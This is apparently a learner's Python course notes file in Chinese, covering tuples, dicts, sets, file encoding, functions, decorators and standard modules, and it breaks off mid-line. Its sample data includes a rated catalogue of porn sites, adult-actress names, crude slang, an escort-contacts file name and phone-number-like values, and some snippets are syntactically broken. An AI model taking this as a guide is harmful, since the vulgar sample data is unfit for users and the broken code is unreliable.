# 元組不支援元組這個物件不支援賦值'''
'''n2 = (1,2,4,5,6,6,7,78)
print(n2)
print(n2[2:5])#元組支援切片、把索引值是2到5的元素值切出來
n2 = (1,2,3,['a','b'],5)
print(n2)
print(n2[3])#把n2元組裡面的索引值是3的打印出來
print(n2[3][1])#把n2元組裡面的索引值是3的索引值再是1的打印出來
n2[3][1]='B'
#print(n2[3][1]= 'B')#把n2元組裡面的索引值是3的索引值再是1的改成大寫的B打印出來???
print(n2)'''
#hash雜湊
'''print(hash('alex'))#打印出Alex的雜湊值用hash、通過演算法得出結果
print(hash((1,2,3)))#把元祖雜湊
print(hash([1,2,3]))#'''
#
'''names = [['Alex',26,'技術部','工程師',13651054608],
        ['shanshan',25,'公安部','野模',13374245235],
        ['龍婷',24,'設計部','UI',13824234452]]
print(names)
print(names.index(['龍婷',24,'設計部','UI',13824234452]))#找到列表裡面的小列表龍婷的索引值
print(names[2]) #列印列表裡面索引值是2的元素值
#只通過名字查查出所有資訊'''
#字典：
'''info = {}#建立空字典
print(info)
info = {
'龍婷':[24,'design','UI',23333],
'shanshan':[25,'PR','wild model',13445222]
}
print(info)
print(info['龍婷'])#列表查值通過索引、字典通過key就可以了、通過key知道value
print(info['龍婷'][1])#打印出字典裡面的列表裡面的索引值是1對應的元素值
print(info)
info['龍婷'][1]="設計部"#改變字典裡面的列表裡面的索引值是1對應的元素值？？？
print(info)
a = [1334,-32324,35532,2364]
print(a)
a.sort()#列表排序
print(a)
a.append(3355)
a.append(123334)
print(a)
a.sort()
print(a)
#簡單演算法：二分查詢、折半查詢、把字串變成雜湊、再把雜湊排序、再通過雜湊切片排序查詢'''
#字典的增刪查改：
'''info = {
    'stu1101':'TengLan Wu',
    'stu1102':'LongZe Luola',
    'stu1103':'XiaoZe Maliya',
}
print(info)
info ['stu1104']= '蒼井空'#增加
print(info)
info ['stu1101']= '武藤蘭'#改
print(info)
print('stu1102' in info)#判斷是不是在列表裡面
print(info.get('stu1102'))#獲取列表列表裡面的資料用get
print(info.pop('shanshan'))'''
#多級字典巢狀：
'''av_catalog = {
    '歐美':{
        'www.youporn.com':['很多免費的,世界最大的','質量一般'],
        'www.pornhub.com':['很多免費的,也很大','質量比youporn高點'],
        'www.letmedothistoyou.com':['多是自拍,高質量圖片很多','資源不多，更新'],
        'www.x-art.com':['質量很高,真的很高','全部收費,屌絲輕饒過']
    },
    '日韓':{
        'tokyo-hot':['質量怎麼樣不清楚，個人已經不喜歡日韓範了','聽說是收費的']
    },
    '大陸':{
        '1024':['全部免費,真好,好人一生平安','伺服器在國外,慢']
    }
}
av_catalog['大陸']['1024']['1'] += ',可以用爬蟲爬下來'
print(av_catalog ['大陸']['1024'])'''
#新增字典：
'''info = {'alex':[24,'IT'],'rain':[24,'HR'],'jack':22}
print(info)
print(info.keys())#列印所有的keys也就是鍵值
print(info.values())#打印出所有的值
#print(info.)
print(info.items())#打印出info裡面的把keys和values變成小元組，作用是把字典轉成了列表'''
#update的用法把兩個列表合併：
'''names = [['Alex',26,'技術部','工程師',13651054608],['shanshan',25,'公安部','野模',13374245235],['龍婷',24,
'設計部','UI',13824234452]]
info = {'alex':[24,'IT'],'rain':[24,'HR'],'jack':22}
dic2 = {1:2,2:3,'jack':[22,'jack Ma','Alibaba CEO']}#建立數字字典
print(names)
print(info)
print(dic2)
info.update(dic2)#info裡面的值會改成dic2裡面的並且覆蓋掉變成了一個列表，有對應的值就覆蓋、沒對應的值就建立
print(info)
# setdefault(self, k, d=None): # real signature unknown; restored from __doc__
#         """ D.setdefault(k[,d]) -> D.get(k,d), also set D[k]=d if k not in D先用get請求方法、如果存在就返回
# 裡面的值，如果不存在的話就設定一個keys值
print(info.setdefault(2,'new 2')) #setdefafault的用法
print(info)
print(info.setdefault('test','new 2')) #setdefafault的用法
print(info)#再次打印出info會發生變化改成了新設定的值new2
#Return value.__format__(format_spec) format_spec defaults to the empty string
print(info.fromkeys(['A','B','C']))#附加新列表，返回了空None,字典裡面都是A、B、C都是一個key
info.fromkeys(['A','B','C'],'Alex')#字典裡面的key全部都附加成Alexvaules值
print(info)
print(info.fromkeys(['A','B','C'],'Alex'))#打印出字典裡面的key全部都附加成Alexvaules值
print(info.)'''
#多級字典巢狀：
'''av_catalog = {
'歐美':{
    'www.youporn.com':['很多免費的,世界最大的','質量一般'],
    'www.pornhub.com':['很多免費的,也很大','質量比youporn高點'],
    'www.letmedothistoyou.com':['多是自拍,高質量圖片很多','資源不多，更新'],
    'www.x-art.com':['質量很高,真的很高','全部收費,屌絲輕饒過']
},
'日韓':{
    'tokyo-hot':['質量怎麼樣不清楚，個人已經不喜歡日韓範了','聽說是收費的']
},
'大陸':{
    '1024':['全部免費,真好,好人一生平安','伺服器在國外,慢']
}
}
# av_catalog['大陸']['1024']['1'] += ',可以用爬蟲爬下來'
# print(av_catalog ['大陸']['1024'])
av_catalog.setdefault()'''
#字典的迴圈用法：
'''info = {'alex':[24,'IT'],'rain':[24,'HR'],'jack':[22,'Jack Ma', 'Alibaba'], 1:2,2:3,'test':'new 2'}
print(info)
for k in  info: #迴圈字典info裡面的key值
    print(k)#打印出迴圈的key值
for k in info:
    print(k,info[k])#key和values都列印，列印k，通過k在info裡面去找'''
#集合的用法：交集的用法
'''iphone7 = ['Alex','rain','jack','old_driver']
iphone8 = ['Alex','shanshan','jack','old_boy']
both_list = []
for name in iphone8 :
    if name in iphone7 : #迴圈iphone8判斷在iPhone裡面每一個元素都有的話那麼就增加到空列表裡面
        both_list.append(name)
print(both_list)#打印出即在iPhone7裡又在iPhone8裡面的值'''
#差集的用法：
'''iphone7 = ['Alex','rain','jack','old_driver']
iphone8 = ['Alex','shanshan','jack','old_boy']
li = []
for name in iphone7:
      if name not in iphone8:
          li.append(name)
          print(li)#打印出即不在iPhone7裡又在iPhone8裡面的值'''
'''both_list = []
for is not name in iphone8 :
    if name in iphone7 : #迴圈iphone8判斷在iPhone裡面每一個元素都有的話那麼就增加到空列表裡面
        both_list.append(name)
print(both_list)#打印出即不在iPhone7裡又在iPhone8裡面的值'''
# info = {'alex':[24,'IT'],'rain':[24,'HR'],'jack':22}
# print(help(info))
#建立集合：
'''s = {}
sa = {1:2}
print(type(s))#如果是空的話是就是一個字典dict
print(type(sa))
s1 = {1,2}
print(type(s1))#反之有值的話就是集合set'''
#集合set例項如下：
'''s = {1,2,3,4}
print(s)
print(type(s))
s = {1,2,3,4,2,3,6}#往集合裡面定義重複的資料
print(s)
#列表轉集合例項：
L = [1,2,3,4,5,2,3]
print(L)
print(set(L))#列表轉集合用set'''
######################
'''s = {1,2,3,4,5}
print(s)
#print(help(s))#打印出使用集合的一堆方法
s.add(2)#放進去重複的值是放不進去的
print(s)
s.add(6)
print(s)
#print(help(s.pop))#只打印出pop的原始碼：
print(s.pop())#隨機刪除
print(s)
print(s.pop())
print(s)
s.remove(6)
print(s)
#print(s.remove(6))
s.discard(6)
print(s)
#print(s.discard(6))#discard是如果存在的話直接刪除也不會報錯、remove會報錯
s.discard(5)
print(s)
s.update([1,2,3,4,5])#集合裡面增加多個值用update
print(s)
#print(s.update([1,2,3,4,5]))
s.clear()#清空所有值用clear
print(s)
print(s)'''
#資料型別集合：交集、差集、並集
'''iPhone7 = {'alex','rain','jack','old_driver'}
iPhone9 = {'alex','jack','shanshan','old_boy'}
print(iPhone7.intersection(iPhone9))#打印出iPhone7和iPhone9裡面的交集用interpretation
print(iPhone7 & iPhone9)#另外一種寫法
print(iPhone7.difference(iPhone9))#打印出只有iPhone7而沒有iPhone9的差集用difference
print(iPhone7 - iPhone9)#用減號也行
print(iPhone7.union(iPhone9))#並集用union
print(iPhone7 | iPhone9)#也可用|'''
'''s = {1,2,3,4}
s2 = {2,3,4,5}
print(s2.union(s))#取並集
print(s.intersection(s2))#取交集
print(s.union(s2) - s.intersection(s2))#print()#取並集-交集也就是對稱差集
print(s.symmetric_difference(s2))#用symmetric_difference
print(s^s2)'''
'''s = {1,2,3,4}
s2 = {2,3,5,6}
s2.add(1)
s2.add(4)
print(s2)
print(s.issubset(s2))#判斷s是否是s2的子集用issubset
print(s2.issuperset(s))#判斷s2是否是s的超集用issuperset
print(s.isdisjoint(s))
print(s)
print(s2)
s.add(-1)
s.add(-2)
print(s)
print(s2)
s.difference_update(s2)#把差集的結果賦給s
print(s)
print(s2)'''
#多級字典巢狀北京市地區：
'''memu = {
    '北京':{
        '海淀':{
            '五道口':{
                'soho':{},
                '網易':{},
                'google':{}
            },
            '中關村':{...},
            '上地':{...},
        },
        '昌平':{...},
        '朝陽':{...},
        '東城':{...},
    },
    '上海':{...},
    '上東':{...},
}
print(memu)'''
#函式之三元運算：
'''a = 2
b = 5
val = a if a<b else  b
print(val)
val = a if 3<6 else b#或者可以換成具體值
print(val)'''
#開啟GBK檔案以文字模式：
'''f = open (file='兼職白領學生空姐模特護士聯絡方式.txt', mode='r',encoding='gbk')
data = f.read()
print(data)
f.close()'''
#開啟GBK檔案以二進位制模式：
'''f = open (file='兼職白領學生空姐模特護士聯絡方式.txt', mode='rb')
data = f.read()
print(data)
f.close()'''
#匯入第三方工具箱並判斷型別：
'''import chardet #
f = open('兼職白領學生空姐模特護士聯絡方式.txt','rb')
data = f.read()
print(data)
print(chardet.detect(data))      #結果是{'encoding': 'GB2312', 'confidence': 0.823045267489712, 'language': 'Chinese'}
print(data.decode('gb2312'))    #解碼gb2312/gbk'''
#迴圈檔案：
'''f = open('兼職白領學生空姐模特護士聯絡方式.txt',encoding='gbk')
for line in f:
    print(line)
f.close()'''
#寫檔案用b模式：
'''f = open('兼職.txt','wb')
f.write('原子二號'.encode('gbk'))
f.close()'''
#追加模式用a
'''f = open('兼職.txt','ab')
f.write('\n肛娘 北京 167 55 13523230322'.encode('gbk'))
f.close()'''
#讀寫混合模式：
'''f = open('兼職.txt','r+',encoding='gbk')
data  = f.read()
print('content',data)
f.write('\nnewline 1哈哈')
f.write('\nnewline 2哈哈')
f.write('\nnewline 3哈哈')
f.write('\nnewline 4哈哈')
print('new content',f.read())
print(f.read())'''
#修改
'''f = open('兼職.txt','r+')
f.seek(10) #先定位第10的位置
f.write('[路飛學城 luffycity]')
f.close()'''
###########################################
'''import os #這裡呼叫工具箱是為了下面建立的新檔案重新命名
f_name = '兼職.txt' #先開啟舊檔案
f_new_name = '%s.new' %f_name #再建立新檔案
old_str = '喬亦菲' #舊的檔案裡面的喬亦菲替換成下面的肛娘
new_str = '肛娘'
f = open(f_name,'r',encoding='utf-8')#r模式開啟舊檔案
f_new = open(f_new_name,'w',encoding='utf-8') #再次開啟新檔案f_new_name,w模式
for line in f  : #迴圈舊檔案這裡的f已經上面在變量了舊檔案f_name
    if old_str in line : #如果舊檔案在迴圈的line裡面對的話
        line = line.replace(old_str,new_str) #那麼line等於是新檔案替換成舊檔案用replace
    f_new.write(line)#往新的檔案裡面寫line,否則沒有的話就寫原行
f.close() #最後再寫兩個關閉
f_new.close() #
os.rename(f_new_name,f_name)   #重新命名方式用工具箱os--呼叫系統命令'''
#函式：定義函式下面是不加引數的：
'''def sayhi():
    print('hello')
    print('my name is black boy')
print(sayhi)#不加括號顯示的是記憶體地址
sayhi()#執行函式'''
#定義函式加引數的：
'''def sayhi(name): #括號裡面的name叫引數
    print('hello',name)
    print('my name is black boy')
sayhi('Alex') #sayhi() missing 1 required positional argument: 'name'--意思就是sayhi缺少一個必要的位置引數'''
#傳兩個引數：
'''def calc(x,y):
    res = x**y
    print(res)
calc(5,10)
calc(2,10)#傳的引數不一樣、自定義的結果就不一樣'''
#預設引數：
'''def stu_register(name,age,country,course):
    print('----------註冊學生資訊-------')
    print('姓名',name)
    print('年齡',age)
    print('國籍',country)
    print('課程',course)
stu_register('王山炮',22,'CN','python_devops')
stu_register('張叫春',21,'CN','linux')
stu_register('劉老根',25,'CN','linux')'''
#預設引數例項2：
'''def stu_register(name,age,course,country='CN'):
    print('registriation info....')
    print(name,age,country,course)
stu_register('Alex',22,'python')
stu_register('jack',22,'python')
stu_register('rain',22,'python','korean')
#非預設引數不能跟在預設引數後面，預設引數要放在最後面'''
#關鍵引數：
'''def stu_register(name,age,course,country='CN'):
    print('registriation info....')
    print(name,age,country,course)
stu_register('Alex',course='python',age=22)'''
#報警、一個運維人員：
'''def send_alert(msg,user):
    print('----')
    print(msg,user)
send_alert('別他媽狼了','Alex')'''
#報警 、十個運維人員簡單寫法:user使用者前面加*，然後下面加人員
'''def send_alert(msg,*users):#歸根接地是把users變成元組了
    for u in users:
        print('報警傳送給',u)
send_alert('別他媽媽的狼了','alex')
send_alert('別他媽媽的狼了','alex','dsad')
send_alert('別他媽媽的狼了','alex','dsad','sddsadsa')
send_alert('別他媽狼了',*['alex','xxx','dasdasdas'])#直接用元組的形式寫'''
########################用帶兩個**的接受的關鍵字引數
'''def func(name,*args,**kwargs): #這裡先定義一個函式用def、括號裡面是對應下面的要填寫的值
    print(name,args,kwargs)
func('alex',22,'tesla','500w',addr='山東',num=12442342)#會變成key和value
d = {'degree':'primary school'} #這裡定義d、學歷小學
func('peiqi',**d) #還是要傳入引數name是peiqi，元組裡面是字典、
#綜上面的程式碼不加*直接是值、加一個*會變成元組、兩個**會變成字典、但是等於字典的形式要加等號'''
#函式返回值False：
'''def stu_register(name,age,course):
    print(name,age,course)
    if age>22:
        return False
    else:
        return True
status = stu_register('peiqi',29,'安保')
print(status)'''
#也可以返回值name名字：
'''def stu_register(name,age,course):
    print(name,age,course)
    if age>22:
        return name
    else:
        return True #碰到return函式就結束了
status = stu_register('peiqi',29,'安保')
print(status)'''
#函式返回多個值：
'''def stu_register(name,age,course):
    print(name,age,course)
    if age>22:
        return [name,age] #函式return有且只能返回一個值、如果想要返回多個值需要用逗號,隔開並且
# 變成了元組返回，但依然還是一個值元組或列表，
    else:
        return True
status = stu_register('peiqi',29,'安保')
print(status)'''
#改變函式值：區域性變數--在函式值裡面定義的變數就叫做區域性變數
'''name = 'black girl'
def change_name():
    name = '黑色的姑娘'
    print('在',name,'裡面...',id(name))#查記憶體地址加id
change_name()#函式裡面可以修改
print(name,id(name))#外面不能改'''
#區域性變數+全域性變數應用：
'''name =  'black girl'
def change_name():
    #name = '黑色的姑娘' #區域性裡面的修改外面的不叫修改叫建立，
    print('在',name,'裡面...',id(name))
def func2():
    name = 'rain'
func2()
change_name()
print(name,id(name))'''
#區域性變數修改外面全域性變數的用global--全域性
'''name = 'black girl'
def change_name():
    global name #global一般情況下不用
    name = '黑色的姑娘'
    age = 25
    print('在',name,'裡面...',id(name))
change_name()
print(name,id(name))'''
#區域性變數修改列表：
'''names = ['alex','black girl','peiqi']
def change_name():
    names = ['alex','black girl']
    print(names)
change_name()
print(names)'''
#刪除列表裡面的用del
'''names = ['alex','black girl','peiqi']
def change_name():
    del names[2] #刪除列表裡面的索引值2對應的元素值
    names[1]='黑姑娘'
    print(names)
change_name()
print(names)'''
#巢狀函式：
'''def func1():
    print('alex')
    def func2():
        print('eric')
func1() #內部定義的函式不會被列印也就是不會被呼叫'''
#巢狀函式2：
'''def func1():
    print('alex')
    def func2():
        print('eric') #此時只是先放在這裡
        def func3():
            print('zd')
            def func4():
                print('xiaohong')
            func4()
        func3()
    func2()
func1()'''
#巢狀函式年齡舉例子：
'''age = 19
def func1():
    age = 73
    print(age)
    def func2():
        age = 84
        print(age)
    func2()
func1()'''
#巢狀：
'''age = 19
def func1():
    def func2():
        print(age)
    age = 73
    func2()
func1()'''
#巢狀函式作用域：
'''age =18
def func1():
    age = 73
    def func2():
        print('age') #所有的區域性變數放在了當前的作用域裡面
    return 666
val = func1()
print(val)'''
#函式作用域2：返回函式不加括號
'''age = 18
def func1():
    age = 73
    def func2():
        print('age')
    return func2
val = func1()
print(val)
val()
print(val())'''
#匿名函式：
'''def calc(x,y):
    return x*y
func=lambda x,y:x*y    #宣告一個匿名函式
print(func(3,8))'''
#匿名函式的除法加判斷運算：
'''def calc(x,y):
    if x<y:
        return  x*y
    else:
        return x/y
func = lambda x,y:x*y if x < y else x/y

print(calc(16,8))
print(func(16,8))'''
#實現列表裡面自乘：
'''data = list(range(10))
print(data)
    for index,i in enumerate(data):
    data[index] = i*i
print(data)'''
#用map方法：
'''def f2(n):
    return n*n
print(list(map(lambda x:x*x,data)))'''
#高階函式：
'''def func(x,y):
    return x+y
def calc(x):
    return x
n = func
print(calc(func))'''
'''def func2(x,y):
    return abs,x,y
res = func2(3,-10)
print(res[0],(res[1]+res[2]))'''
#遞迴
'''def func():
    pass
def calc(n):
    n = int(n/2)
    print(n)
    if n >0:
        calc(n)
# r1 = calc(10)
# r2 = calc(r1)
# r3 = calc(r2)
# print(r3)
calc(10)'''
#呼叫工具包：
'''import sys
sys.setrecursionlimit(10000)
print(sys.getrecursionlimit())'''
#遞迴最後：
'''def calc(n,count):
    print(n,count)
    if count<5:
        calc(n/2,count+1)
res = calc(188,1)
print('res',res)'''
#遞迴練習題：
'''menus = [
    {
        'text':'北京',
        'children':[
            {'text':'朝陽','children':[]},
            {'text':'昌平','children':[
                {'text':'沙河','children':[]},
                {'text':'回龍觀','children':[]},
            ]},
        ]
    },
    {
        'text':'上海',
        'children':[
            {'text':'寶山','children':[]},
            {'text':'金山','children':[]},
        ]
    }
]'''
#列印所有的節點：----------------------------------------對應以後程式設計師面試深度查詢
#找到一個節點沙河、列印、返回true---------------------------對應以後程式設計師面試深度查詢
#exec的用法
code = '''
def foo():
    print('run foo')
    return 1234
foo()
'''
'''res = eval('1+3+3')
res2 = exec('1+3+3')
#res = exec(code)#返回一個值
print('res',res,res2)#exec拿不到這個結果'''
'''a = 97
print(a)
print(ord('a'))#
print(chr(97))
print(chr(65))
print(chr(49))
a = [1,4,5,-1,3,0]
print(a)
print(sum(a))
s = 'abcd路飛'
print(s)#字串是有一個個字元組成的
print(s[0])
# s[0]='A'
# print(s)
print(s)
print(s[0])
s = s.encode('utf-8')
print(s)
print(s[0])
# s[0]=98
# print(s)
s= bytearray(s)#原記憶體地址修改
print(s)
print(s[0])
s[0]=65
print(s)
print(s[4])
s[4]=233
print(s)
print(s.decode())
print(s)
print(id(s[0]))
s[0]=66
print(s)
print(id(s[0]))
s[0]=67
print(s)
print(id(s))'''
#map
'''print(list(map(lambda x: x*x, [1,2,3,4,5])))
print(list(filter(lambda x : x>3, [1,2,3,4,5])))
import functools
print(functools.reduce(lambda x,y:x+y,[1,3,4,5,6678,4,2]))#累加
print(functools.reduce(lambda x,y:x*y, [1,3,4,5,6678,4,2]))#累乘'''
#print
'''s = 'hey , my name is alex\n, from shandong'
print(s)
print(s,end=',')
print(s,sep='')
print('haifeng','gangniang')
print('haifeng','gangniang',sep='>-')'''
#把資料直接列印到檔案裡
#_*_coding:utf-8_*_
'''msg = '又回到最初的起點'
f = open('print_tofile','w')
print(msg,'記憶中你青澀的臉',sep='|',end='',file=f)
print(msg,'記憶中你青澀的臉',sep='|',end='',file=f)'''
#
'''a = [1,4,5,-1,3,0]
print(a)
def f():
    pass
print(f)
print(callable(f))
print(a)
print(callable(a))
s = {12,3,4,4}
s.discard(3)
print(s)
s = frozenset(s)
print(s)
s.difference()
print(s)
vars()#當前所有的變數打印出來
print(s)
print(vars()) #當前所有的變數打印出來用vars（）
print(dir())
def f():
    n = 3
    print(locals())
print(f())
print(globals())
print(repr(s))'''
#zip
'''a = [1,2,3,4,5]
b = ['a','b','c']
print(a)
print(b)
print(zip(a))
print(list(zip(a,b)))'''
#
'''print(complex(3,5))
print(round(1.2344434))
print(round(1.2344434,2))
#delattr,hasattr,getattr,setattr,
print(hash('abc'))
print(hash('abc'))
print(hash('abc'))
print(set([12,3,4,4]))'''
#
'''n = 10
def func():
    n = 20
    print('func:',n)
    def func2():
        n = 30
        print('func2',n)
        def func3():
            print('func3:',n)
        func3()
    func2()
func()'''
#閉包：
'''def func():
    n = 10
    def func2():
        print('func2:',n)
    return func2
f = func()
print(f)#列印完以後記憶體地址釋放完畢
f()'''
#裝飾器：
'''user_status = False
def login(func):
    _username = 'alex'
    _password = 'abc!23'
    global user_status
    if user_status == False:
        username = input('user:')
        password = input('pasword:')
        if username == _username and password == _password:
            print('welcome login....')
            user_status = True
        else:
            print('wrong username or password!')
    else:
        print('使用者已登入,驗證通過...')
    if user_status:
        func()
def home ():
    print('-----首頁---------')
def america():
    print('-----歐美專區-------')
def japan ():
    print('-----日韓專區----------')
def henan():
    print('------河南專區--------')
login(henan)
login(america)'''
#生成器：
'''a =[i+1 for i in range(10)]
print(a)
print([i*i for i in a ])
a = [0,1,4,9,16,25,36,49,64,81]
print(a)
a = [i if i < 5 else  i*i  for i in a]
print(a)'''
#
'''a = [i for i in range(1000)]
print(a)
a2 = (i for i in range(1000))
print(a2)
print(next(a2))
print(next(a2))'''
#
'''a3 = (i for i in range(5))
for i in a3 :
    print(i)'''
#
'''def fib(max):
    n,a,b = 0,0,1
    while n < max:
        print(b)
        a,b = b, a+b
        n = n+1
    return 'done'''
#模組呼叫：
#from socket（用於網路程式設計） import AF_INET
#自定義模組：
'''def sayhi(name):
    print('hello',name)
def saybye(name):
    print('bye',name)
sayhi('alex')'''
#
'''import sys
print(sys.path)'''
#列印當前本地時間：
'''import time
print(time.localtime()) #列印當前系統時間
a = time.localtime() #再次定義變數為的是列印下面的每個值
print(a.tm_year)#列印年
print(a.tm_mon)#
print('%s-%s-%s'%(a.tm_year,a.tm_mon,a.tm_mday))#拼接年月日
print(time.gmtime())#打印出英國時間'''
#
'''import random
print(random.randint(1,100))#傳引數1到100之間並隨機打印出來包含100
print(random.randrange(1,100))#不包含100
print(random.random())#隨機浮點數
print(random.choice('zvxczx35242343'))#從字串裡面隨機返回一個值
print(random.sample('dfsdfs45643',3))#隨機返回三個值並形成列表的形式
import string
print(string.digits)#生成隨機驗證碼
print(string.ascii_letters)#
print(string.ascii_lowercase)#只顯示小寫
print(string.ascii_uppercase)#只顯示大寫
print(string.ascii_lowercase+string.digits)#顯示小寫加數字
print(string.punctuation)#顯示特殊字元
s = string.ascii_lowercase + string.digits
print(random.sample(s,5))#生成五位的字母加數字隨機驗證碼
print(random.sample(string.ascii_lowercase+string.digits,5))#生成五位的字母加數字隨機驗證碼一把過
print(''.join(random.sample(string.ascii_lowercase+string.digits,5)))#生成五位的字母加數字隨機驗證碼一把過連起來'''
'''d = list(range(100))#
print(d)
print(list(range(100)))#
d = list(range(100))
import random
print(random.shuffle(d))#隨機/亂序排用shuffle
print(random.shuffle(list(range(100))))
print(d)
# e = random.shuffle(list(range(100)))
# print(e)'''
#
'''import sys
print(sys.argv)#列印程式本身路徑
print(sys.version)
print(sys.maxsize)
print(sys.path)
print(sys.platform)
print(sys.stdout)
print(sys.stdout.write('hey'))
print(sys.stdout.write('hey23'))
print(sys.getrecursionlimit())
print(sys.getdefaultencoding())
print(sys.getfilesystemencoding())'''
#
'''import shutil
f2 = '